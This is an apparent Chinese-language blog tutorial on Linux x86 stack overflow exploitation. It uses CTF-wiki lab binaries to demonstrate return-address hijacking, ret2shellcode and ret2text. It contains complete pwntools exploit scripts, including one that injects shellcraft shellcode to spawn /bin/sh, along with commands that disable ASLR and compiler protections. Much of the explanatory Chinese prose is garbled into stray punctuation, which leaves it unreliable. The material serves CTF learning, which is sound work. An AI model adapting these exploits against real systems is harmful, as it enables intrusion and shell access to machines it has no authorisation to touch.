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< p > 之前介绍了Windows x86平台下栈溢出漏洞的开放与利用， ， ， ， ， < / p >
< p > < strong > ref： < / strong > < / p >
< blockquote >
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< p > CTF-WIKI： < a href = "https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/" target = "_blank" rel = "noopener" > https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/< / a > < br > 蒸米大佬的一步一步学rop < a href = "http://www.anquan.us/static/drops/tips-6597.html" target = "_blank" rel = "noopener" > http://www.anquan.us/static/drops/tips-6597.html< / a > < br > < a href = "https://bbs.pediy.com/thread-221734.htm" target = "_blank" rel = "noopener" > https://bbs.pediy.com/thread-221734.htm< / a > < / p >
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< / blockquote >
< p > < strong > 工具：< / strong > < / p >
< blockquote >
< p > objdump、ldd、ROPgadget、readelf、< a href = "https://ctf-wiki.github.io/ctf-tools/" target = "_blank" rel = "noopener" > https://ctf-wiki.github.io/ctf-tools/< / a > < br > < a href = "https://github.com/ctf-wiki/ctf-challenges" target = "_blank" rel = "noopener" > https://github.com/ctf-wiki/ctf-challenges< / a > < / p >
< / blockquote >
< h1 id = "0x00-Control-Flow-hijack" > < a href = "#0x00-Control-Flow-hijack" class = "headerlink" title = "0x00 Control Flow hijack" > < / a > 0x00 Control Flow hijack< / h1 > < p > 和Windows一样， ， （ ） ， ， < br > 改变计算机体系来规避漏洞目前是不可能的， ， （ ） ， ： < br > 我们从最简单的入手，不开启任何防护，先了解栈溢出的基本操作，然后逐步增加防御措施。< / p >
< h2 id = "寻找危险函数" > < a href = "#寻找危险函数" class = "headerlink" title = "寻找危险函数" > < / a > 寻找危险函数< / h2 > < p > 这里有一个漏洞程序< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > #include < stdio.h> < / span > < br > < span class = "line" > #include < string.h> < / span > < br > < span class = "line" > void success() { puts(" You Hava already controlled it." ); } < / span > < br > < span class = "line" > void vulnerable() { < / span > < br > < span class = "line" > char s[12];< / span > < br > < span class = "line" > gets(s);< / span > < br > < span class = "line" > puts(s);< / span > < br > < span class = "line" > return;< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > int main(int argc, char **argv) { < / span > < br > < span class = "line" > vulnerable();< / span > < br > < span class = "line" > return 0;< / span > < br > < span class = "line" > } < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 当我们看到gets时就应该知道如何入手了， ， < br > 历史上，莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。< br > 先进行编译，关闭防御措施：< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ gcc -m32 -no-pie -fno-stack-protector -z execstack stack1.c -o stack1< / span > < br > < span class = "line" > stack1.c: In function ‘ ’ < / span > < br > < span class = "line" > stack1.c:6:3: warning: implicit declaration of function ‘ ’ ‘ ’ < / span > < br > < span class = "line" > gets(s);< / span > < br > < span class = "line" > ^~~~< / span > < br > < span class = "line" > fgets< / span > < br > < span class = "line" > /tmp/ccUuPrSy.o: In function `vulnerable' :< / span > < br > < span class = "line" > stack1.c:(.text+0x45): warning: the `gets' function is dangerous and should not be used.< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 编译器都会提示你， （ ） ， ： < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ su< / span > < br > < span class = "line" > Password:< / span > < br > < span class = "line" > root@ubuntu:/home/han/ck/pwn/linux/stack_demo# echo 0 > /proc/sys/kernel/randomize_va_space< / span > < br > < span class = "line" > root@ubuntu:/home/han/ck/pwn/linux/stack_demo# exit< / span > < br > < span class = "line" > exit< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< h2 id = "计算溢出点的位置" > < a href = "#计算溢出点的位置" class = "headerlink" title = "计算溢出点的位置" > < / a > 计算溢出点的位置< / h2 > < p > 什么是溢出点的位置：从缓冲区到覆盖返回地址所需要的字节数< br > 我们同样也可以使用工具pattern_create和pattern_offset来计算， ： < br > 把stack1拖入IDA进行反汇编分析： < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > int vulnerable()< / span > < br > < span class = "line" > { < / span > < br > < span class = "line" > char s; // [sp+4h] [bp-14h]@1< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > gets(& s);< / span > < br > < span class = "line" > return puts(& s);< / span > < br > < span class = "line" > } < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 在伪代码窗口， ， ， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > +-----------------+< / span > < br > < span class = "line" > | retaddr |< / span > < br > < span class = "line" > +-----------------+< / span > < br > < span class = "line" > | saved ebp |< / span > < br > < span class = "line" > ebp---> +-----------------+< / span > < br > < span class = "line" > | |< / span > < br > < span class = "line" > | |< / span > < br > < span class = "line" > | |< / span > < br > < span class = "line" > | |< / span > < br > < span class = "line" > | |< / span > < br > < span class = "line" > | |< / span > < br > < span class = "line" > s,ebp-0x14--> +-----------------+< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< h2 id = "劫持ret的地址" > < a href = "#劫持ret的地址" class = "headerlink" title = "劫持ret的地址" > < / a > 劫持ret的地址< / h2 > < p > 这里我们想让程序跳转到success()， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > .text:08048456 success proc near< / span > < br > < span class = "line" > .text:08048456< / span > < br > < span class = "line" > .text:08048456 var_4 = dword ptr -4< / span > < br > < span class = "line" > .text:08048456< / span > < br > < span class = "line" > .text:08048456 push ebp< / span > < br > < span class = "line" > .text:08048457 mov ebp, esp< / span > < br > < span class = "line" > .text:08048459 push ebx< / span > < br > < span class = "line" > .text:0804845A sub esp, 4< / span > < br > < span class = "line" > .text:0804845D call __x86_get_pc_thunk_ax< / span > < br > < span class = "line" > .text:08048462 add eax, 1B9Eh< / span > < br > < span class = "line" > .text:08048467 sub esp, 0Ch< / span > < br > < span class = "line" > .text:0804846A lea edx, (aYouHavaAlready - 804A000h)[eax] ; " You Hava already controlled it." < / span > < br > < span class = "line" > .text:08048470 push edx ; s< / span > < br > < span class = "line" > .text:08048471 mov ebx, eax< / span > < br > < span class = "line" > .text:08048473 call _puts< / span > < br > < span class = "line" > .text:08048478 add esp, 10h< / span > < br > < span class = "line" > .text:0804847B nop< / span > < br > < span class = "line" > .text:0804847C mov ebx, [ebp+var_4]< / span > < br > < span class = "line" > .text:0804847F leave< / span > < br > < span class = "line" > .text:08048480 retn< / span > < br > < span class = "line" > .text:08048480 success endp< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 那么如果我们构造的字符串为：< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 0x18*' a' +success_addr< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 这样就会将retaddr覆盖巍峨哦success_addr,此时栈结构为：< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > +-----------------+< / span > < br > < span class = "line" > | 0x0804843B |< / span > < br > < span class = "line" > +-----------------+< / span > < br > < span class = "line" > | aaaa |< / span > < br > < span class = "line" > ebp---> +-----------------+< / span > < br > < span class = "line" > | |< / span > < br > < span class = "line" > | |< / span > < br > < span class = "line" > | |< / span > < br > < span class = "line" > | |< / span > < br > < span class = "line" > | |< / span > < br > < span class = "line" > | |< / span > < br > < span class = "line" > s,ebp-0x14--> +-----------------+< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< h2 id = "pwn测试" > < a href = "#pwn测试" class = "headerlink" title = "pwn测试" > < / a > pwn测试< / h2 > < p > 使用pwntools， ， ， ： < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > from pwn import *< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p = process(' ./stack1' )< / span > < br > < span class = "line" > ret_addr = 0x08048456< / span > < br > < span class = "line" > offset = 0x18< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > payload = ' A' * offset + p32(ret_addr)< / span > < br > < span class = "line" > print(ret_addr,p32(ret_addr))< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p.sendline(payload)< / span > < br > < span class = "line" > p.interactive()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< blockquote >
< ol >
< li > 连接< br > 本地process(),远程remote()< / li >
< li > 数据处理< br > p32、p64是打包（ ） ， < / li >
< li > IO模块< br > send(data) : 发送数据< br > sendline(data) : 发送一行数据，相当于在末尾加\n< br > interactive() : 与shell交互< / li >
< / ol >
< / blockquote >
< p > 执行exp： < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ python stack1.py< / span > < br > < span class = "line" > [+] Starting local process ' ./stack1' : pid 8328< / span > < br > < span class = "line" > (134513750, ' V\x84\x04\x08' )< / span > < br > < span class = "line" > [*] Switching to interactive mode< / span > < br > < span class = "line" > AAAAAAAAAAAAAAAAAAAAAAAAV\x84\x0< / span > < br > < span class = "line" > You Hava already controlled it.< / span > < br > < span class = "line" > [*] Got EOF while reading in interactive< / span > < br > < span class = "line" > $< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< hr >
< h1 id = "0X01-ret2shellcode" > < a href = "#0X01-ret2shellcode" class = "headerlink" title = "0X01 ret2shellcode" > < / a > 0X01 ret2shellcode< / h1 > < h2 id = "原理" > < a href = "#原理" class = "headerlink" title = "原理" > < / a > 原理< / h2 > < p > ret2shellcode， ， < / p >
< p > 在栈溢出的基础上，要想执行 shellcode， ， < / p >
< h2 id = "检查保护情况" > < a href = "#检查保护情况" class = "headerlink" title = "检查保护情况" > < / a > 检查保护情况< / h2 > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ checksec ret2shellcode< / span > < br > < span class = "line" > [*] ' /home/han/ck/pwn/linux/re2shellcode/ret2shellcode' < / span > < br > < span class = "line" > Arch: i386-32-little< / span > < br > < span class = "line" > RELRO: Partial RELRO< / span > < br > < span class = "line" > Stack: No canary found< / span > < br > < span class = "line" > NX: NX disabled< / span > < br > < span class = "line" > PIE: No PIE (0x8048000)< / span > < br > < span class = "line" > RWX: Has RWX segments< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > $ cat /proc/sys/kernel/randomize_va_space< / span > < br > < span class = "line" > 0< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 可以看出源程序几乎没有开启任何保护，并且有可读，可写，可执行段。< / p >
< h2 id = "查看危险函数" > < a href = "#查看危险函数" class = "headerlink" title = "查看危险函数" > < / a > 查看危险函数< / h2 > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > int __cdecl main(int argc, const char **argv, const char **envp)< / span > < br > < span class = "line" > { < / span > < br > < span class = "line" > int v4; // [sp+1Ch] [bp-64h]@1< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > setvbuf(stdout, 0, 2, 0);< / span > < br > < span class = "line" > setvbuf(stdin, 0, 1, 0);< / span > < br > < span class = "line" > puts(" No system for you this time !!!" );< / span > < br > < span class = "line" > gets((char *)& v4);< / span > < br > < span class = "line" > strncpy(buf2, (const char *)& v4, 0x64u);< / span > < br > < span class = "line" > printf(" bye bye ~" );< / span > < br > < span class = "line" > return 0;< / span > < br > < span class = "line" > } < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 可以看到， ， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > .bss:0804A080 public buf2< / span > < br > < span class = "line" > .bss:0804A080 ; char buf2[100]< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 通过< code > sudo cat /proc/[pid]/maps< / code > 查看,会发现buf2和stack都是rwx的。< / p >
< h2 id = "计算溢出点" > < a href = "#计算溢出点" class = "headerlink" title = "计算溢出点" > < / a > 计算溢出点< / h2 > < p > 可以看到该字符串是通过相对于 esp 的索引，所以我们需要进行调试，将断点下在 call gets处， ， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > [----------------------------------registers-----------------------------------]< / span > < br > < span class = "line" > EAX: 0xffffc99c --> 0xf7ffd000 --> 0x26f34< / span > < br > < span class = "line" > EBX: 0x0< / span > < br > < span class = "line" > ECX: 0xf7fb2dc7 --> 0xfb38900a< / span > < br > < span class = "line" > EDX: 0xf7fb3890 --> 0x0< / span > < br > < span class = "line" > ESI: 0xf7fb2000 --> 0x1d4d6c< / span > < br > < span class = "line" > EDI: 0x0< / span > < br > < span class = "line" > EBP: 0xffffca08 --> 0x0< / span > < br > < span class = "line" > ESP: 0xffffc980 --> 0xffffc99c --> 0xf7ffd000 --> 0x26f34< / span > < br > < span class = "line" > EIP: 0x8048593 (< main+102> : call 0x80483d0 < gets@plt> )< / span > < br > < span class = "line" > EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)< / span > < br > < span class = "line" > [-------------------------------------code-------------------------------------]< / span > < br > < span class = "line" > 0x8048587 < main+90> : call 0x80483e0 < puts@plt> < / span > < br > < span class = "line" > 0x804858c < main+95> : lea eax,[esp+0x1c]< / span > < br > < span class = "line" > 0x8048590 < main+99> : mov DWORD PTR [esp],eax< / span > < br > < span class = "line" > => 0x8048593 < main+102> : call 0x80483d0 < gets@plt> < / span > < br > < span class = "line" > 0x8048598 < main+107> : mov DWORD PTR [esp+0x8],0x64< / span > < br > < span class = "line" > 0x80485a0 < main+115> : lea eax,[esp+0x1c]< / span > < br > < span class = "line" > 0x80485a4 < main+119> : mov DWORD PTR [esp+0x4],eax< / span > < br > < span class = "line" > 0x80485a8 < main+123> : mov DWORD PTR [esp],0x804a080< / span > < br > < span class = "line" > Guessed arguments:< / span > < br > < span class = "line" > arg[0]: 0xffffc99c --> 0xf7ffd000 --> 0x26f34< / span > < br > < span class = "line" > [------------------------------------stack-------------------------------------]< / span > < br > < span class = "line" > 0000| 0xffffc980 --> 0xffffc99c --> 0xf7ffd000 --> 0x26f34< / span > < br > < span class = "line" > 0004| 0xffffc984 --> 0x0< / span > < br > < span class = "line" > 0008| 0xffffc988 --> 0x1< / span > < br > < span class = "line" > 0012| 0xffffc98c --> 0x0< / span > < br > < span class = "line" > 0016| 0xffffc990 --> 0x0< / span > < br > < span class = "line" > 0020| 0xffffc994 --> 0xc30000< / span > < br > < span class = "line" > 0024| 0xffffc998 --> 0x0< / span > < br > < span class = "line" > 0028| 0xffffc99c --> 0xf7ffd000 --> 0x26f34< / span > < br > < span class = "line" > [------------------------------------------------------------------------------]< / span > < br > < span class = "line" > Legend: code, data, rodata, value< / span > < br > < span class = "line" > < /spa
< p > 可以看到 esp 为 0xffffc980， ， ， ， ， ， < / p >
< h2 id = "劫持ret的地址-1" > < a href = "#劫持ret的地址-1" class = "headerlink" title = "劫持ret的地址" > < / a > 劫持ret的地址< / h2 > < p > 这次我们想要程序执行shellcode， ， ， < / p >
< h2 id = "pwn测试-1" > < a href = "#pwn测试-1" class = "headerlink" title = "pwn测试" > < / a > pwn测试< / h2 > < p > 控制程序执行bss段的shellcode< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > from pwn import *< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p = process(' ./ret2shellcode' )< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > ret_addr = 0x0804A080< / span > < br > < span class = "line" > offset = 0x6c + 4< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > shellcode = asm(shellcraft.i386.linux.sh())< / span > < br > < span class = "line" > payload = shellcode.ljust(offset,' a' ) + p32(ret_addr)< / span > < br > < span class = "line" > #payload = shellcode + ' a' *(offset - len(shellcode)) + p32(ret_addr)< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p.sendline(payload)< / span > < br > < span class = "line" > p.interactive()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< blockquote >
< ol >
< li > < p > Shellcode生成器< br > 使用shellcraft可以生成对应的架构的shellcode代码， < br > 如32位linux： < br > shellcode.ljust(offset,’ ’ ‘ ’ < / p >
< / li >
< li > < p > 汇编与反汇编< br > 使用asm来进行汇编， < br > 指定cpu类型以及操作系统： ‘ ’ ’ ’ ， ‘ ’ ， ‘ ’ ， < / p >
< / li >
< / ol >
< / blockquote >
< hr >
< h1 id = "0x02-ret2text" > < a href = "#0x02-ret2text" class = "headerlink" title = "0x02 ret2text" > < / a > 0x02 ret2text< / h1 > < h2 id = "原理-1" > < a href = "#原理-1" class = "headerlink" title = "原理" > < / a > 原理< / h2 > < p > ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实，这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets)，这就是我们所要说的 ROP。< / p >
< p > ROP不需要去执行栈中的shellcode， < / p >
< h2 id = "检查保护" > < a href = "#检查保护" class = "headerlink" title = "检查保护" > < / a > 检查保护< / h2 > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ checksec ret2text< / span > < br > < span class = "line" > [*] ' /home/han/ck/pwn/linux/ret2text/ret2text' < / span > < br > < span class = "line" > Arch: i386-32-little< / span > < br > < span class = "line" > RELRO: Partial RELRO< / span > < br > < span class = "line" > Stack: No canary found< / span > < br > < span class = "line" > NX: NX enabled< / span > < br > < span class = "line" > PIE: No PIE (0x8048000)< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 开启了DEP， ， < / p >
< h2 id = "检查危险函数" > < a href = "#检查危险函数" class = "headerlink" title = "检查危险函数" > < / a > 检查危险函数< / h2 > < figure class = "highlight c" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "keyword" > int< / span > __< span class = "function" > cdecl < span class = "title" > main< / span > < span class = "params" > (< span class = "keyword" > int< / span > argc, < span class = "keyword" > const< / span > < span class = "keyword" > char< / span > **argv, < span class = "keyword" > const< / span > < span class = "keyword" > char< / span > **envp)< / span > < / span > < / span > < br > < span class = "line" > < span class = "function" > < / span > { < / span > < br > < span class = "line" > < span class = "keyword" > int< / span > v4; < span class = "comment" > // [sp+1Ch] [bp-64h]@1< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > setvbuf(< span class = "built_in" > stdout< / span > , < span class = "number" > 0< / span > , < span class = "number" > 2< / span > , < span class = "number" > 0< / span > );< / span > < br > < span class = "line" > setvbuf(_bss_start, < span class = "number" > 0< / span > , < span class = "number" > 1< / span > , < span class = "number" > 0< / span > );< / span > < br > < span class = "line" > < span class = "built_in" > puts< / span > (< span class = "string" > "There is something amazing here, do you know anything?"< / span > );< / span > < br > < span class = "line" > gets((< span class = "keyword" > char< / span > *)& v4);< / span > < br > < span class = "line" > < span class = "built_in" > printf< / span > (< span class = "string" > "Maybe I will tell you next time !"< / span > );< / span > < br > < span class = "line" > < span class = "keyword" > return< / span > < span class = "number" > 0< / span > ;< / span > < br > < span class = "line" > } < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 同样还是gets函数< / p >
< h2 id = "计算偏移" > < a href = "#计算偏移" class = "headerlink" title = "计算偏移" > < / a > 计算偏移< / h2 > < p > 和上一个一样， < / p >
< h2 id = "寻找跳板" > < a href = "#寻找跳板" class = "headerlink" title = "寻找跳板" > < / a > 寻找跳板< / h2 > < p > 在代码段发现调用 system(“/bin/sh”) 的代码， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > .text:0804862D call ___isoc99_scanf< / span > < br > < span class = "line" > .text:08048632 mov eax, [ebp+input]< / span > < br > < span class = "line" > .text:08048635 cmp eax, [ebp+secretcode]< / span > < br > < span class = "line" > .text:08048638 jnz short locret_8048646< / span > < br > < span class = "line" > .text:0804863A mov dword ptr [esp], offset command ; " /bin/sh" < / span > < br > < span class = "line" > .text:08048641 call _system< / span > < br > < span class = "line" > .text:08048646< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< h2 id = "测试" > < a href = "#测试" class = "headerlink" title = "测试" > < / a > 测试< / h2 > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > from pwn import *< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p = process(' ./ret2text' )< / span > < br > < span class = "line" > ret_add = 0x0804863A< / span > < br > < span class = "line" > offset = 0x6c + 4< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > payload = ' A' *offset + p32(ret_add)< / span > < br > < span class = "line" > print(p32(ret_add))< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p.sendline(payload)< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p.interactive()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< hr >
